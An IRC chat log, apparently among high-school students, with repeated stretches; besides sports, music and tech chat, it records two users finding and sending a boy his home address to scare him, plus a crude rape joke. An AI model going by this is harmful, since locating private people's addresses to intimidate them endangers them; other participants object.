[2015-04-26T18:09:19-0400] <Tamini> :((
[2015-04-26T18:09:26-0400] <LittleBobbyTables> He started the conversation with me this time
[2015-04-26T18:09:31-0400] <Tamini> well, that's more at z3t than you
[2015-04-26T18:09:34-0400] <Tamini> what's he saying to you?
[2015-04-26T18:09:53-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/h1ZRNedw
[2015-04-26T18:11:35-0400] <Tamini> you guys are such terrible people you dont even know ;-;
[2015-04-26T18:11:56-0400] <Tamini> i'm amused, but I'm not enjoying getting caught up in this mess.
[2015-04-26T18:12:16-0400] <LittleBobbyTables> How am I terrible
[2015-04-26T18:12:29-0400] <LittleBobbyTables> I've only asked for the others' name
[2015-04-26T18:13:07-0400] <Tamini> heh
[2015-04-26T18:13:10-0400] <Tamini> mostly z3t yeah
[2015-04-26T18:13:13-0400] <LittleBobbyTables> I didn't do it aggressively ;c
[2015-04-26T18:20:41-0400] <z3t> bullshit the address and phone were wrong
[2015-04-26T18:20:52-0400] <LittleBobbyTables> Call it and find out
[2015-04-26T18:20:58-0400] <z3t> I will in a bit.
[2015-04-26T18:21:24-0400] <jwoglom> z3t pls
[2015-04-26T18:49:54-0400] <Hyper> you guys should stop being fucking dicks x.x
[2015-04-26T18:50:34-0400] <Hyper> it stops being funny at threats & doxxing
[2015-04-26T18:50:37-0400] <Hyper> seriously.
[2015-04-26T18:51:42-0400] <jwoglom> yeah, like if you're going to actually dox people please don't affiliate that with this channel
[2015-04-26T18:52:05-0400] <Hyper> please just don't dox people in general
[2015-04-26T18:52:40-0400] <jwoglom> i would say that but i don't think they're going to listen
[2015-04-26T18:52:54-0400] <Hyper> that's around the point where it goes from "lol i'm fucking with you but it's over the internet so whatevs" to "I KNOW WHERE YOU LIVE PUNK"
[2015-04-26T18:55:50-0400] <Tamini> it's worse because z3t lives physically near us
[2015-04-26T18:55:52-0400] <Tamini> ._.
[2015-04-26T18:58:30-0400] <assface> he gon raep u
[2015-04-26T19:05:22-0400] <apothy> 5:02 PM <sdamashek> alokpathy: who's mr petel?
[2015-04-26T19:05:35-0400] <apothy> sdamashek: He's an art teacher at WWP North who just recently got fired.
[2015-04-26T19:06:29-0400] <jwoglom> what were the circumstances behind it?
[2015-04-26T19:07:22-0400] <apothy> Nobody really knows.
[2015-04-26T19:07:39-0400] <apothy> There may be more information at the meeting on Tuesday.
[2015-04-26T19:07:52-0400] <sdamashek> interesting
[2015-04-26T19:09:39-0400] <apothy> jwoglom: That moment when you think the game starts at 7 but realize you have to wait for another hour :/
[2015-04-26T19:10:13-0400] <jwoglom> lol
[2015-04-26T19:10:17-0400] <jwoglom> bc central timezone? :P
[2015-04-26T19:10:51-0400] <apothy> Because ESPN xD
[2015-04-26T19:24:22-0400] <LittleBobbyTables> It's all z3t guys ;c
[2015-04-26T19:25:24-0400] <fwilson> did i link https://theflashbulb.bandcamp.com/album/compositions-for-piano in here already
[2015-04-26T19:25:26-0400] <fwilson> Tamini: ^ 10/10
[2015-04-26T19:25:31-0400] <fwilson> it's good piano
[2015-04-26T19:25:40-0400] <fwilson> but i can't focus with it, back to listening to needs a good title lol
[2015-04-26T19:25:45-0400] <jwoglom> i think you did a couple of days ago, yeah
[2015-04-26T19:25:54-0400] <Tamini> i listened to it
[2015-04-26T19:25:54-0400] <Tamini> but yeah
[2015-04-26T19:25:58-0400] <Tamini> it's too distracting
[2015-04-26T19:26:25-0400] <fwilson> 3distract5me
[2015-04-26T19:30:34-0400] <jwoglom> fwilson: the 7th one on there is really weird
[2015-04-26T19:30:37-0400] <jwoglom> it's like it skips a beat
[2015-04-26T19:30:54-0400] <jwoglom> pretty distracting, yeah
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[2015-04-26T19:46:47-0400] <z3t> Hyper: it's for a reason
[2015-04-26T19:47:13-0400] <Hyper> z3t: is the reason good enough to validate scaring kids?
[2015-04-26T19:47:29-0400] <z3t> In my opinion yes.
[2015-04-26T19:49:39-0400] <z3t> They claimed to not be scared though.
[2015-04-26T19:50:38-0400] <Tamini> well, kevin chatted me specifically to say that he was a little bit afraid of you
[2015-04-26T19:50:55-0400] <Tamini> and that's not that okay
[2015-04-26T19:54:39-0400] <z3t> Well last night I told him I'd leave him alone after I got the name
[2015-04-26T19:54:42-0400] <z3t> Sooo
[2015-04-26T19:57:42-0400] <apothy> z3t: is scaring kids?
[2015-04-26T19:58:41-0400] <LittleBobbyTables> yes
[2015-04-26T19:58:43-0400] <LittleBobbyTables> like a meany
[2015-04-26T19:59:05-0400] <LittleBobbyTables> stop being a meany z3t
[2015-04-26T19:59:23-0400] <apothy> Lol how?
[2015-04-26T20:06:11-0400] <LittleBobbyTables> giving them their address
[2015-04-26T20:06:19-0400] <LittleBobbyTables> not really threatening, but yeah
[2015-04-26T20:06:32-0400] <jwoglom> how did you find said address though
[2015-04-26T20:06:52-0400] <jwoglom> if it's public record/easily findable it's not *as* creepy as if it's not
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[2015-04-26T18:50:34-0400] <Hyper> it stops being funny at threats & doxxing
[2015-04-26T18:50:37-0400] <Hyper> seriously.
[2015-04-26T18:51:42-0400] <jwoglom> yeah, like if you're going to actually dox people please don't affiliate that with this channel
[2015-04-26T18:52:05-0400] <Hyper> please just don't dox people in general
[2015-04-26T18:52:40-0400] <jwoglom> i would say that but i don't think they're going to listen
[2015-04-26T18:52:54-0400] <Hyper> that's around the point where it goes from "lol i'm fucking with you but it's over the internet so whatevs" to "I KNOW WHERE YOU LIVE PUNK"
[2015-04-26T18:55:50-0400] <Tamini> it's worse because z3t lives physically near us
[2015-04-26T18:55:52-0400] <Tamini> ._.
[2015-04-26T18:58:30-0400] <assface> he gon raep u
[2015-04-26T19:05:22-0400] <apothy> 5:02 PM <sdamashek> alokpathy: who's mr petel?
[2015-04-26T19:05:35-0400] <apothy> sdamashek: He's an art teacher at WWP North who just recently got fired.
[2015-04-26T19:06:29-0400] <jwoglom> what were the circumstances behind it?
[2015-04-26T19:07:22-0400] <apothy> Nobody really knows.
[2015-04-26T19:07:39-0400] <apothy> There may be more information at the meeting on Tuesday.
[2015-04-26T19:07:52-0400] <sdamashek> interesting
[2015-04-26T19:09:39-0400] <apothy> jwoglom: That moment when you think the game starts at 7 but realize you have to wait for another hour :/
[2015-04-26T19:10:13-0400] <jwoglom> lol
[2015-04-26T19:10:17-0400] <jwoglom> bc central timezone? :P
[2015-04-26T19:10:51-0400] <apothy> Because ESPN xD
[2015-04-26T19:24:22-0400] <LittleBobbyTables> It's all z3t guys ;c
[2015-04-26T19:25:24-0400] <fwilson> did i link https://theflashbulb.bandcamp.com/album/compositions-for-piano in here already
[2015-04-26T19:25:26-0400] <fwilson> Tamini: ^ 10/10
[2015-04-26T19:25:31-0400] <fwilson> it's good piano
[2015-04-26T19:25:40-0400] <fwilson> but i can't focus with it, back to listening to needs a good title lol
[2015-04-26T19:25:45-0400] <jwoglom> i think you did a couple of days ago, yeah
[2015-04-26T19:25:54-0400] <Tamini> i listened to it
[2015-04-26T19:25:54-0400] <Tamini> but yeah
[2015-04-26T19:25:58-0400] <Tamini> it's too distracting
[2015-04-26T19:26:25-0400] <fwilson> 3distract5me
[2015-04-26T19:30:34-0400] <jwoglom> fwilson: the 7th one on there is really weird
[2015-04-26T19:30:37-0400] <jwoglom> it's like it skips a beat
[2015-04-26T19:30:54-0400] <jwoglom> pretty distracting, yeah
[2015-04-26T19:46:46-0400] <z3t> Hyper: it's for a reason
[2015-04-26T19:47:11-0400] <Hyper> z3t: is the reason good enough to validate scaring kids?
[2015-04-26T19:47:28-0400] <z3t> In my opinion yes.
[2015-04-26T19:49:38-0400] <z3t> They claimed to not be scared though.
[2015-04-26T19:50:37-0400] <Tamini> well, kevin chatted me specifically to say that he was a little bit afraid of you
[2015-04-26T19:50:54-0400] <Tamini> and that's not that okay
[2015-04-26T19:54:38-0400] <z3t> Well last night I told him I'd leave him alone after I got the name
[2015-04-26T19:54:41-0400] <z3t> Sooo
[2015-04-26T19:57:41-0400] <apothy> z3t: is scaring kids?
[2015-04-26T19:58:40-0400] <LittleBobbyTables> yes
[2015-04-26T19:58:42-0400] <LittleBobbyTables> like a meany
[2015-04-26T19:59:03-0400] <LittleBobbyTables> stop being a meany z3t
[2015-04-26T19:59:22-0400] <apothy> Lol how?
[2015-04-26T20:06:10-0400] <LittleBobbyTables> giving them their address
[2015-04-26T20:06:18-0400] <LittleBobbyTables> not really threatening, but yeah
[2015-04-26T20:06:31-0400] <jwoglom> how did you find said address though
[2015-04-26T20:06:51-0400] <jwoglom> if it's public record/easily findable it's not *as* creepy as if it's not
[2015-04-26T20:07:38-0400] <LittleBobbyTables> name + schools and the power of deduction
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[2015-04-26T21:08:47-0400] <+awe> jwoglom: it's always public record.
[2015-04-26T21:09:28-0400] <jwoglom> true, i meant more like if they had a personal website that had it listed or something vs. using white/yellowpage like sites
[2015-04-26T21:12:42-0400] <LittleBobbyTables> second
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[2015-04-26T19:05:22-0400] <apothy> 5:02 PM <sdamashek> alokpathy: who's mr petel?
[2015-04-26T19:05:35-0400] <apothy> sdamashek: He's an art teacher at WWP North who just recently got fired.
[2015-04-26T19:06:29-0400] <jwoglom> what were the circumstances behind it?
[2015-04-26T19:07:22-0400] <apothy> Nobody really knows.
[2015-04-26T19:07:39-0400] <apothy> There may be more information at the meeting on Tuesday.
[2015-04-26T19:07:52-0400] <sdamashek> interesting
[2015-04-26T19:09:39-0400] <apothy> jwoglom: That moment when you think the game starts at 7 but realize you have to wait for another hour :/
[2015-04-26T19:10:13-0400] <jwoglom> lol
[2015-04-26T19:10:17-0400] <jwoglom> bc central timezone? :P
[2015-04-26T19:10:51-0400] <apothy> Because ESPN xD
[2015-04-26T19:24:22-0400] <LittleBobbyTables> It's all z3t guys ;c
[2015-04-26T19:25:24-0400] <fwilson> did i link https://theflashbulb.bandcamp.com/album/compositions-for-piano in here already
[2015-04-26T19:25:26-0400] <fwilson> Tamini: ^ 10/10
[2015-04-26T19:25:31-0400] <fwilson> it's good piano
[2015-04-26T19:25:40-0400] <fwilson> but i can't focus with it, back to listening to needs a good title lol
[2015-04-26T19:25:45-0400] <jwoglom> i think you did a couple of days ago, yeah
[2015-04-26T19:25:54-0400] <Tamini> i listened to it
[2015-04-26T19:25:54-0400] <Tamini> but yeah
[2015-04-26T19:25:58-0400] <Tamini> it's too distracting
[2015-04-26T19:26:25-0400] <fwilson> 3distract5me
[2015-04-26T19:30:34-0400] <jwoglom> fwilson: the 7th one on there is really weird
[2015-04-26T19:30:37-0400] <jwoglom> it's like it skips a beat
[2015-04-26T19:30:54-0400] <jwoglom> pretty distracting, yeah
[2015-04-26T19:46:46-0400] <z3t> Hyper: it's for a reason
[2015-04-26T19:47:11-0400] <Hyper> z3t: is the reason good enough to validate scaring kids?
[2015-04-26T19:47:28-0400] <z3t> In my opinion yes.
[2015-04-26T19:49:38-0400] <z3t> They claimed to not be scared though.
[2015-04-26T19:50:37-0400] <Tamini> well, kevin chatted me specifically to say that he was a little bit afraid of you
[2015-04-26T19:50:54-0400] <Tamini> and that's not that okay
[2015-04-26T19:54:38-0400] <z3t> Well last night I told him I'd leave him alone after I got the name
[2015-04-26T19:54:41-0400] <z3t> Sooo
[2015-04-26T19:57:41-0400] <apothy> z3t: is scaring kids?
[2015-04-26T19:58:40-0400] <LittleBobbyTables> yes
[2015-04-26T19:58:42-0400] <LittleBobbyTables> like a meany
[2015-04-26T19:59:03-0400] <LittleBobbyTables> stop being a meany z3t
[2015-04-26T19:59:22-0400] <apothy> Lol how?
[2015-04-26T20:06:10-0400] <LittleBobbyTables> giving them their address
[2015-04-26T20:06:18-0400] <LittleBobbyTables> not really threatening, but yeah
[2015-04-26T20:06:31-0400] <jwoglom> how did you find said address though
[2015-04-26T20:06:51-0400] <jwoglom> if it's public record/easily findable it's not *as* creepy as if it's not
[2015-04-26T20:07:38-0400] <LittleBobbyTables> name + schools and the power of deduction
[2015-04-26T21:08:47-0400] <+awe> jwoglom: it's always public record.
[2015-04-26T21:09:28-0400] <jwoglom> true, i meant more like if they had a personal website that had it listed or something vs. using white/yellowpage like sites
[2015-04-26T21:12:42-0400] <LittleBobbyTables> second
[2015-04-26T22:24:52-0400] <apothy> jwoglom: 4 errors for the Mets, lol
[2015-04-26T22:25:03-0400] <jwoglom> ouch, what inning?
[2015-04-26T22:25:17-0400] <apothy> Bot 7
[2015-04-26T22:25:43-0400] <jwoglom> i see your yankees are winning, though :P
[2015-04-26T22:26:01-0400] <apothy> Yup :)
[2015-04-26T22:26:03-0400] <apothy> lolol https://scontent-lga.xx.fbcdn.net/hphotos-xaf1/v/t1.0-9/11164583_1102485179766849_4340805201450038390_n.png?oh=5f6223b0b85a9786fe1abcb7dff120e1&oe=55D08435
[2015-04-26T22:27:13-0400] Mode is +nrt
[2015-04-26T22:27:19-0400] <jwoglom> lol sounds like those PR guys are having some fun
[2015-04-26T22:28:41-0400] <apothy> Very xD
[2015-04-26T22:30:35-0400] <jwoglom> apothy: FINAL: Orioles 18, #RedSox 7.
[2015-04-26T22:30:37-0400] <jwoglom> ;_;
[2015-04-26T22:32:30-0400] <apothy> rekt so hard
[2015-04-26T23:35:12-0400] <assface> damn that reckage tho
[2015-04-26T23:35:31-0400] <assface> and yes, I suspect the PR guys all know each other IRL and are just messing around
[2015-04-26T23:43:05-0400] <alokpathy> assface: o you baseball too?
[2015-04-27T00:22:01-0400] <assface> no
[2015-04-27T00:25:26-0400] <alokpathy> Oh
[2015-04-27T00:25:28-0400] <alokpathy> darfn
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[2015-04-27T01:10:53-0400] <LittleBobbyTables> http://mrexodia.cf/reversing/2015/02/05/TitanHide/
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[2015-04-27T06:25:44-0400] <JacobEdelman> Gmorning all
[2015-04-27T06:35:24-0400] <fwilson> hi JacobEdelman 
[2015-04-27T06:35:52-0400] <JacobEdelman> Hello
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[2015-04-27T13:28:22-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-04-26T19:25:45-0400] <jwoglom> i think you did a couple of days ago, yeah
[2015-04-26T19:25:54-0400] <Tamini> i listened to it
[2015-04-26T19:25:54-0400] <Tamini> but yeah
[2015-04-26T19:25:58-0400] <Tamini> it's too distracting
[2015-04-26T19:26:25-0400] <fwilson> 3distract5me
[2015-04-26T19:30:34-0400] <jwoglom> fwilson: the 7th one on there is really weird
[2015-04-26T19:30:37-0400] <jwoglom> it's like it skips a beat
[2015-04-26T19:30:54-0400] <jwoglom> pretty distracting, yeah
[2015-04-26T19:46:46-0400] <z3t> Hyper: it's for a reason
[2015-04-26T19:47:11-0400] <Hyper> z3t: is the reason good enough to validate scaring kids?
[2015-04-26T19:47:28-0400] <z3t> In my opinion yes.
[2015-04-26T19:49:38-0400] <z3t> They claimed to not be scared though.
[2015-04-26T19:50:37-0400] <Tamini> well, kevin chatted me specifically to say that he was a little bit afraid of you
[2015-04-26T19:50:54-0400] <Tamini> and that's not that okay
[2015-04-26T19:54:38-0400] <z3t> Well last night I told him I'd leave him alone after I got the name
[2015-04-26T19:54:41-0400] <z3t> Sooo
[2015-04-26T19:57:41-0400] <apothy> z3t: is scaring kids?
[2015-04-26T19:58:40-0400] <LittleBobbyTables> yes
[2015-04-26T19:58:42-0400] <LittleBobbyTables> like a meany
[2015-04-26T19:59:03-0400] <LittleBobbyTables> stop being a meany z3t
[2015-04-26T19:59:22-0400] <apothy> Lol how?
[2015-04-26T20:06:10-0400] <LittleBobbyTables> giving them their address
[2015-04-26T20:06:18-0400] <LittleBobbyTables> not really threatening, but yeah
[2015-04-26T20:06:31-0400] <jwoglom> how did you find said address though
[2015-04-26T20:06:51-0400] <jwoglom> if it's public record/easily findable it's not *as* creepy as if it's not
[2015-04-26T20:07:38-0400] <LittleBobbyTables> name + schools and the power of deduction
[2015-04-26T21:08:47-0400] <+awe> jwoglom: it's always public record.
[2015-04-26T21:09:28-0400] <jwoglom> true, i meant more like if they had a personal website that had it listed or something vs. using white/yellowpage like sites
[2015-04-26T21:12:42-0400] <LittleBobbyTables> second
[2015-04-26T22:24:52-0400] <apothy> jwoglom: 4 errors for the Mets, lol
[2015-04-26T22:25:03-0400] <jwoglom> ouch, what inning?
[2015-04-26T22:25:17-0400] <apothy> Bot 7
[2015-04-26T22:25:43-0400] <jwoglom> i see your yankees are winning, though :P
[2015-04-26T22:26:01-0400] <apothy> Yup :)
[2015-04-26T22:26:03-0400] <apothy> lolol https://scontent-lga.xx.fbcdn.net/hphotos-xaf1/v/t1.0-9/11164583_1102485179766849_4340805201450038390_n.png?oh=5f6223b0b85a9786fe1abcb7dff120e1&oe=55D08435
[2015-04-26T22:27:19-0400] <jwoglom> lol sounds like those PR guys are having some fun
[2015-04-26T22:28:41-0400] <apothy> Very xD
[2015-04-26T22:30:35-0400] <jwoglom> apothy: FINAL: Orioles 18, #RedSox 7.
[2015-04-26T22:30:37-0400] <jwoglom> ;_;
[2015-04-26T22:32:30-0400] <apothy> rekt so hard
[2015-04-26T23:35:12-0400] <assface> damn that reckage tho
[2015-04-26T23:35:32-0400] <assface> and yes, I suspect the PR guys all know each other IRL and are just messing around
[2015-04-26T23:43:06-0400] <alokpathy> assface: o you baseball too?
[2015-04-27T00:22:01-0400] <assface> no
[2015-04-27T00:25:26-0400] <alokpathy> Oh
[2015-04-27T00:25:28-0400] <alokpathy> darfn
[2015-04-27T01:10:54-0400] <LittleBobbyTables> http://mrexodia.cf/reversing/2015/02/05/TitanHide/
[2015-04-27T06:25:44-0400] <JacobEdelman> Gmorning all
[2015-04-27T06:35:24-0400] <fwilson> hi JacobEdelman 
[2015-04-27T06:35:52-0400] <JacobEdelman> Hello
[2015-04-27T13:28:23-0400] Mode is +nrt
[2015-04-27T13:28:48-0400] <JacobEdelman> john green: Never go to war with a noun. You will always loose.
[2015-04-27T13:29:04-0400] <JacobEdelman> (war on drugs, war on poverty, war on jacob)
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[2015-04-27T15:27:18-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-04-26T19:25:54-0400] <Tamini> but yeah
[2015-04-26T19:25:58-0400] <Tamini> it's too distracting
[2015-04-26T19:26:25-0400] <fwilson> 3distract5me
[2015-04-26T19:30:34-0400] <jwoglom> fwilson: the 7th one on there is really weird
[2015-04-26T19:30:37-0400] <jwoglom> it's like it skips a beat
[2015-04-26T19:30:54-0400] <jwoglom> pretty distracting, yeah
[2015-04-26T19:46:46-0400] <z3t> Hyper: it's for a reason
[2015-04-26T19:47:11-0400] <Hyper> z3t: is the reason good enough to validate scaring kids?
[2015-04-26T19:47:28-0400] <z3t> In my opinion yes.
[2015-04-26T19:49:38-0400] <z3t> They claimed to not be scared though.
[2015-04-26T19:50:37-0400] <Tamini> well, kevin chatted me specifically to say that he was a little bit afraid of you
[2015-04-26T19:50:54-0400] <Tamini> and that's not that okay
[2015-04-26T19:54:38-0400] <z3t> Well last night I told him I'd leave him alone after I got the name
[2015-04-26T19:54:41-0400] <z3t> Sooo
[2015-04-26T19:57:41-0400] <apothy> z3t: is scaring kids?
[2015-04-26T19:58:40-0400] <LittleBobbyTables> yes
[2015-04-26T19:58:42-0400] <LittleBobbyTables> like a meany
[2015-04-26T19:59:03-0400] <LittleBobbyTables> stop being a meany z3t
[2015-04-26T19:59:22-0400] <apothy> Lol how?
[2015-04-26T20:06:10-0400] <LittleBobbyTables> giving them their address
[2015-04-26T20:06:18-0400] <LittleBobbyTables> not really threatening, but yeah
[2015-04-26T20:06:31-0400] <jwoglom> how did you find said address though
[2015-04-26T20:06:51-0400] <jwoglom> if it's public record/easily findable it's not *as* creepy as if it's not
[2015-04-26T20:07:38-0400] <LittleBobbyTables> name + schools and the power of deduction
[2015-04-26T21:08:47-0400] <+awe> jwoglom: it's always public record.
[2015-04-26T21:09:28-0400] <jwoglom> true, i meant more like if they had a personal website that had it listed or something vs. using white/yellowpage like sites
[2015-04-26T21:12:42-0400] <LittleBobbyTables> second
[2015-04-26T22:24:52-0400] <apothy> jwoglom: 4 errors for the Mets, lol
[2015-04-26T22:25:03-0400] <jwoglom> ouch, what inning?
[2015-04-26T22:25:17-0400] <apothy> Bot 7
[2015-04-26T22:25:43-0400] <jwoglom> i see your yankees are winning, though :P
[2015-04-26T22:26:01-0400] <apothy> Yup :)
[2015-04-26T22:26:03-0400] <apothy> lolol https://scontent-lga.xx.fbcdn.net/hphotos-xaf1/v/t1.0-9/11164583_1102485179766849_4340805201450038390_n.png?oh=5f6223b0b85a9786fe1abcb7dff120e1&oe=55D08435
[2015-04-26T22:27:19-0400] <jwoglom> lol sounds like those PR guys are having some fun
[2015-04-26T22:28:41-0400] <apothy> Very xD
[2015-04-26T22:30:35-0400] <jwoglom> apothy: FINAL: Orioles 18, #RedSox 7.
[2015-04-26T22:30:37-0400] <jwoglom> ;_;
[2015-04-26T22:32:30-0400] <apothy> rekt so hard
[2015-04-26T23:35:12-0400] <assface> damn that reckage tho
[2015-04-26T23:35:32-0400] <assface> and yes, I suspect the PR guys all know each other IRL and are just messing around
[2015-04-26T23:43:06-0400] <alokpathy> assface: o you baseball too?
[2015-04-27T00:22:01-0400] <assface> no
[2015-04-27T00:25:26-0400] <alokpathy> Oh
[2015-04-27T00:25:28-0400] <alokpathy> darfn
[2015-04-27T01:10:54-0400] <LittleBobbyTables> http://mrexodia.cf/reversing/2015/02/05/TitanHide/
[2015-04-27T06:25:44-0400] <JacobEdelman> Gmorning all
[2015-04-27T06:35:24-0400] <fwilson> hi JacobEdelman 
[2015-04-27T06:35:52-0400] <JacobEdelman> Hello
[2015-04-27T13:28:46-0400] <JacobEdelman> john green: Never go to war with a noun. You will always loose.
[2015-04-27T13:29:02-0400] <JacobEdelman> (war on drugs, war on poverty, war on jacob)
[2015-04-27T15:27:19-0400] Mode is +nrt
[2015-04-27T15:37:21-0400] <z3t> JacobEdelman: I will always loose?
[2015-04-27T15:43:22-0400] <+awe> z3t: Words of wisdom from me: Never expect JacobEdelman to properly convey messages or ideas using language.
[2015-04-27T15:50:44-0400] <z3t> Honestly I don't expect JacobEdelman do properly do anything.
[2015-04-27T15:50:47-0400] <z3t> to *
[2015-04-27T15:52:16-0400] <JacobEdelman> awe: dat true
[2015-04-27T15:52:24-0400] <JacobEdelman> truer words have never been spaken
[2015-04-27T15:52:28-0400] <JacobEdelman> *spookin
[2015-04-27T15:52:33-0400] <+awe> JacobEdelman does math properly most of the time.
[2015-04-27T15:52:39-0400] <+awe> He usually does algorithms properly too.
[2015-04-27T15:52:45-0400] <+awe> It's mostly just the communicating ideas part that he's bad at.
[2015-04-27T15:52:47-0400] <JacobEdelman> as long as the math doesn't involve numbers larger than 4
[2015-04-27T15:52:51-0400] <JacobEdelman> I hate large numbers
[2015-04-27T15:53:02-0400] <JacobEdelman> I don't believe they exist
[2015-04-27T15:53:20-0400] <JacobEdelman> which is why I stick to stick to theoretical cs where everything is 0,1 or infinity
[2015-04-27T15:54:10-0400] <JacobEdelman> https://en.wikipedia.org/wiki/Zero_one_infinity_rule
[2015-04-27T15:59:22-0400] <+awe> JacobEdelman: this is a good rule.
[2015-04-27T15:59:28-0400] <JacobEdelman> yup
[2015-04-27T15:59:33-0400] <JacobEdelman> lark simplifies it
[2015-04-27T15:59:39-0400] <JacobEdelman> infinite everything! muhahahahaha!
[2015-04-27T15:59:41-0400] <JacobEdelman> (:P)
[2015-04-27T16:00:11-0400] <+awe> Yeah, infinite runtime!
[2015-04-27T16:01:21-0400] <Hyper> meanwhile my current program lols at the 0, 1, inf rule and has 2 players and no more >:D
[2015-04-27T16:01:55-0400] <Hyper> it also lols at most concepts of abstraction because ain't nobody got time for that
[2015-04-27T16:04:09-0400] <+awe> Hyper: what game is this?
[2015-04-27T16:04:56-0400] <Hyper> we have an assignment that's for like a week to make a game and a bunch of people are going tryhard on it because last assingment and it's open ended as fuck
[2015-04-27T16:09:21-0400] <+awe> Interesting.
[2015-04-27T16:11:09-0400] <z3t> anyone have an idea for a game that would be ideal to use a sparse matrix storage system
[2015-04-27T16:12:19-0400] <+awe> That's a weird thing to target.
[2015-04-27T16:12:54-0400] <+awe> I'm not sure there's any such game.
[2015-04-27T16:24:34-0400] <z3t> tell that to my APCS teacher pls
[2015-04-27T16:25:00-0400] <+awe> Oh, well, it might be a "game"
[2015-04-27T16:25:05-0400] <+awe> Like something that's not actually entertaining.
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[2015-04-27T17:45:33-0400] <z3t> hey chrissing
[2015-04-27T17:45:49-0400] <Tamini_> z3t: bruh
[2015-04-27T17:45:55-0400] <Tamini_> alex wang was creeping me today
[2015-04-27T17:46:00-0400] <Tamini_> he came up to me and he was like
[2015-04-27T17:46:11-0400] <z3t> who tf is alex wang
[2015-04-27T17:46:25-0400] <Tamini_> wait not alex wang
[2015-04-27T17:46:28-0400] <Tamini_> alex whatever
[2015-04-27T17:46:28-0400] <z3t> alex sun?
[2015-04-27T17:46:31-0400] <Tamini_> yeah
[2015-04-27T17:46:38-0400] <Tamini_> he came up to me at school today
[2015-04-27T17:46:42-0400] <z3t> oh god
[2015-04-27T17:46:49-0400] <Tamini_> and started trying to confront me about like
[2015-04-27T17:46:57-0400] <Tamini_> "did you tell people about kevin"
[2015-04-27T17:47:07-0400] <Tamini_> and i was like "i dont know who you are"
[2015-04-27T17:47:10-0400] <chris> Tamini_: you know z3t irl?
[2015-04-27T17:47:16-0400] <z3t> no
[2015-04-27T17:47:19-0400] <Tamini_> and hid inside a pile of sysadmins
[2015-04-27T17:47:29-0400] <chris> ok i almost felt bad for Tamini_ 
[2015-04-27T17:47:30-0400] <Tamini_> he was too awk to press it futher
[2015-04-27T17:47:38-0400] <Tamini_> chris: i know he's a woodson kid
[2015-04-27T17:47:46-0400] <z3t> was he wearing any my little pony stuff Tamini_ 
[2015-04-27T17:48:14-0400] <ubuntor> z3t: a massive interactive game of life
[2015-04-27T17:48:29-0400] <Tamini_> no LOL
[2015-04-27T17:48:37-0400] <Tamini_> dude he's so... strange
[2015-04-27T17:48:39-0400] <Tamini_> idk
[2015-04-27T17:48:39-0400] <z3t> I'll look into that, thanks ubuntor.
[2015-04-27T17:49:17-0400] <z3t> the whole CMC thing is just strange Tamini_ 
[2015-04-27T17:49:30-0400] <Tamini_> mm i feel you
[2015-04-27T17:49:35-0400] <Tamini_> idk man dont escalate it
[2015-04-27T17:49:40-0400] <Tamini_> i dont want to have anything to do with them
[2015-04-27T17:50:35-0400] <z3t> Well he said he wasn't scared of me and LittleBobbyTables....
[2015-04-27T17:50:54-0400] <Tamini_> lol
[2015-04-27T17:51:26-0400] <z3t> chris: stfu
[2015-04-27T18:01:57-0400] <sdamashek> lol wat
[2015-04-27T18:02:12-0400] <sdamashek> >did you tell people about kevin
[2015-04-27T18:02:44-0400] <Tamini> ignore him
[2015-04-27T18:02:54-0400] <Tamini> tis solution
[2015-04-27T18:14:28-0400] <+awe> Anyone have any advice for making a Windows 10 bootable USB installer on OS X?
[2015-04-27T18:14:43-0400] <jwoglom> you could use the boot camp setup wizard thing
[2015-04-27T18:14:46-0400] <+awe> And/or getting flash drives to work in Windows 10 running in Virtual Box?
[2015-04-27T18:14:47-0400] <+awe> No.
[2015-04-27T18:14:54-0400] <+awe> It's not for this laptop.
[2015-04-27T18:15:00-0400] <+awe> It's not for an Apple computer.
[2015-04-27T18:15:01-0400] <jwoglom> it still makes an image of windows that works
[2015-04-27T18:15:05-0400] <+awe> I tried that.
[2015-04-27T18:15:07-0400] <+awe> It did not work.
[2015-04-27T18:15:12-0400] <jwoglom> well then
[2015-04-27T18:15:14-0400] <jwoglom> unetbootin?
[2015-04-27T18:15:32-0400] <+awe> Will try.
[2015-04-27T18:16:00-0400] <jwoglom> also am i the only one who feels that flashing oses on flash drives is always too complicated than it should be
[2015-04-27T18:16:01-0400] <+awe> Disk Utility is supposed to be able to do this stuff, but for some reason, it refuses.
[2015-04-27T18:16:09-0400] <+awe> jwoglom: No, it's so much more complicated than it should be.
[2015-04-27T18:16:30-0400] <jwoglom> it always takes me, like, two tries before anything works, lol
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[2015-04-27T18:18:16-0400] <+awe> This is attempt four or five.
[2015-04-27T18:18:29-0400] <+awe> Not counting the black magic I tried to get Disk Utility to try to work.
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[2015-04-27T18:31:01-0400] <jwoglom> alokpathy: orioles postponed their game at camden
[2015-04-27T18:31:06-0400] <+awe> jwoglom: nope, that didn't work.
[2015-04-27T18:31:22-0400] <jwoglom> awe: if you have any windows pcs i'd say use MS's tool which works quite well
[2015-04-27T18:31:29-0400] <jwoglom> have you already tried something like just plain old dd
[2015-04-27T18:31:36-0400] <+awe> I don't have a Windows PC.
[2015-04-27T18:31:38-0400] <+awe> I already tried DD.
[2015-04-27T18:31:47-0400] <jwoglom> can virtualbox boot from the iso?
[2015-04-27T18:31:54-0400] <+awe> It can do an install.
[2015-04-27T18:31:55-0400] <+awe> I tried that.
[2015-04-27T18:31:59-0400] <+awe> Virtual Box could not detect my flash drive.
[2015-04-27T18:32:04-0400] <jwoglom> hm
[2015-04-27T18:32:08-0400] <+awe> Well, I mean Windows couldn't in Virtual Box.
[2015-04-27T18:32:11-0400] <+awe> And so I couldn't set it up like that.
[2015-04-27T18:32:23-0400] <jwoglom> have you tried to find what MS considers an "official" solution for OS X?
[2015-04-27T18:32:28-0400] <+awe> Which is?
[2015-04-27T18:32:34-0400] <jwoglom> or actually that would probably be bootcamp
[2015-04-27T18:32:36-0400] <jwoglom> ugh
[2015-04-27T18:32:43-0400] <+awe> They don't have an official solution for OS X.
[2015-04-27T18:33:02-0400] <jwoglom> that's dumb
[2015-04-27T18:33:20-0400] <jwoglom> try some other unetbootin-like app is my suggestion
[2015-04-27T18:33:26-0400] <jwoglom> there's probably one that's osx specific
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[2015-04-27T19:41:21-0400] <alokpathy> jwoglom: lol welp
[2015-04-27T19:41:35-0400] <jwoglom> baltimore is a mess right now
[2015-04-27T19:41:38-0400] <jwoglom> probably for the better
